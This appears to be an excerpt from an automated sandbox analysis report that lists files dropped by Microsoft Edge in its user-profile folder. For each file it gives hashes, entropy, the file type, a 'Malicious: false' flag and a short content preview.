C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c7817937-a012-4411-bf68-4de1115bab96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d3abe8a3-37de-4554-a1ac-547fca540984.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16843), with no line terminators
Category:	dropped
Size (bytes):	16847
Entropy (8bit):	5.43517285390682
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSejHyZfnK5FWHWGL+gTK8dbV+FJ7Qwyk:stKPGQSu4DsbsCDkeKKLWHWGrbGdQwqy
MD5:	DCFC9AC6E7C31ED29BABA74F650ED07D
SHA1:	37FDF339C7834D0E6472774F7D78D93B38E7280C
SHA-256:	6470F92E60890932C400E1846325E0BBF7DCC320F1EE8A7824E0D3463FCBCBAE
SHA-512:	71D3BF4C148693C3D6064D9EB7910527AA25B565B0220F72F4AA953DBAB9B75730825101B0072D63A3195FCD9E69FCBE976BE0027EF22BE2DCD19A362726F680
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fa173010-cb7b-4d64-8a76-ca6e616a9885.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10558297699357445
Encrypted:	false
SSDEEP:	12:JntWP9ntWPIpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntE9ntEEoPnnnnnnnnnnnnvHj
MD5:	E004517547665790A09A5B4C4153E6BC
SHA1:	37338D3BC7CE9A842EFA5EDEE7C45778E589569D
SHA-256:	BA927867DA2DE3A6E073310324834400F89BCFE26FCCF9F7127A30D60FA7060C
SHA-512:	6318972579F78D06CB4064BF07CBB0B6CE8FB492A5961858CD45AD14609A7229288B97FA6A5F55F4DF489D51053A4CEE1C14D4ACD7B5A709F582342BF140F6CD
Malicious:	false
Preview:	..-.............Q.......X..`H.\|.$J...V......E....-.............Q.......X..`H.\|.$J...V......E..........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9327067307660116
Encrypted:	false
SSDEEP:	192:pLV0sHQcagMUUksN1pih8I0TU8RUQt438ZPFQjRydypPyay1v5yXxyKn:EK01ghwTUct43W+lydypPyayR5yXxyKn
MD5:	9E78BC9B5D66F87887A875C44DE790B4
SHA1:	AB211F4698BE7BAA1B5BE3653A0A1564448F5FF3
SHA-256:	72697B6D1B3615AB18D9249CCD55C5FA163935B7B215F0D251062EECEAF18CBB
SHA-512:	35FB875A7B9375D4D12CBB892A60898D3C5019CD88F2A78D129E4985283C175FF4B4824FF9A62325A05083325D7A21DC46E92B6CCA801D8566D948BF806786CE
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.5310007166543795
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuu0JXllss8xz:pHayDJ1lsHz
MD5:	C8E67EC47048D5A110CDC60E504C801E
SHA1:	A15C40FA1AF9E46FA453378876F24F81A76E1630
SHA-256:	75C1247086F6ED94E12A91050332BD5CF0A814B8696EC4A24A65BFC66FB4A09F
SHA-512:	0339FDC4A2488552DCED12E5132EC10B03234C56238D7CE798A11F18AD3D7737F9257C18365548F537E4970653356808D1D13F08B868108B93E53A57CBF11C7B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=............... E..:...............#38_h.......6.Z..W.F...../t....../t..........V.e................;k..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.178318228141153
Encrypted:	false
SSDEEP:	6:1sAp1WM+q2PN723oH+TcwtfrK+IFUt8ksp1Zmw+ks/WMVkwON723oH+TcwtfrUed:d1L+vVaYeb23FUt8d/+JLV5OaYeb3J
MD5:	1BA3E785FE5F471835593025AE4417FC
SHA1:	1C2A1919D04D1A0DE355820B1951C62AE3B3A925
SHA-256:	5126A9935DD6102568A35BECA9618F0BDF750D26E8EC8851B9258CFA286F5C0C
SHA-512:	7C27EB6B625DDAA220AC4A09C32177BC841B09E46DF61C514F0D121FF8E727F8A7ECDC1AE3BC38DBE37EF468174946E4299870ECADBF6C1DF3DCA07F85CDC000
Malicious:	false
Preview:	2024/10/27-21:07:29.943 dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/27-21:07:29.944 dac Recovering log #3.2024/10/27-21:07:29.944 dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.178318228141153
Encrypted:	false
SSDEEP:	6:1sAp1WM+q2PN723oH+TcwtfrK+IFUt8ksp1Zmw+ks/WMVkwON723oH+TcwtfrUed:d1L+vVaYeb23FUt8d/+JLV5OaYeb3J
MD5:	1BA3E785FE5F471835593025AE4417FC
SHA1:	1C2A1919D04D1A0DE355820B1951C62AE3B3A925
SHA-256:	5126A9935DD6102568A35BECA9618F0BDF750D26E8EC8851B9258CFA286F5C0C
SHA-512:	7C27EB6B625DDAA220AC4A09C32177BC841B09E46DF61C514F0D121FF8E727F8A7ECDC1AE3BC38DBE37EF468174946E4299870ECADBF6C1DF3DCA07F85CDC000
Malicious:	false
Preview:	2024/10/27-21:07:29.943 dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/27-21:07:29.944 dac Recovering log #3.2024/10/27-21:07:29.944 dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.151536275147586
Encrypted:	false
SSDEEP:	6:1sllWM+q2PN723oH+TcwtfrzAdIFUt8ksCpj1Zmw+ksCp1WMVkwON723oH+TcwtS:slL+vVaYeb9FUt8UpJ/+Up1LV5OaYebS
MD5:	BE97626F6E187B33FA0BD870CA9ACE5F
SHA1:	B3F3D44477A7957144A8BADD8D8C5B3681A45066
SHA-256:	7563688D5CA52CD0E38A0A4BBF1D2832269C912F08E7D8490A3FF3189B06AF9A
SHA-512:	A00FBC34532C93AE99610B803E6C8103315D60328EFD305161BFB2913BCBE15C6A11531AB8FED1858B24F07DA92C245821D5AD625312C1C108ED207B128A672E
Malicious:	false
Preview:	2024/10/27-21:07:29.940 dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/27-21:07:29.941 dac Recovering log #3.2024/10/27-21:07:29.941 dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.151536275147586
Encrypted:	false
SSDEEP:	6:1sllWM+q2PN723oH+TcwtfrzAdIFUt8ksCpj1Zmw+ksCp1WMVkwON723oH+TcwtS:slL+vVaYeb9FUt8UpJ/+Up1LV5OaYebS
MD5:	BE97626F6E187B33FA0BD870CA9ACE5F
SHA1:	B3F3D44477A7957144A8BADD8D8C5B3681A45066
SHA-256:	7563688D5CA52CD0E38A0A4BBF1D2832269C912F08E7D8490A3FF3189B06AF9A
SHA-512:	A00FBC34532C93AE99610B803E6C8103315D60328EFD305161BFB2913BCBE15C6A11531AB8FED1858B24F07DA92C245821D5AD625312C1C108ED207B128A672E
Malicious:	false
Preview:	2024/10/27-21:07:29.940 dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/27-21:07:29.941 dac Recovering log #3.2024/10/27-21:07:29.941 dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39d6a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39dd7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39f2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c5f1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
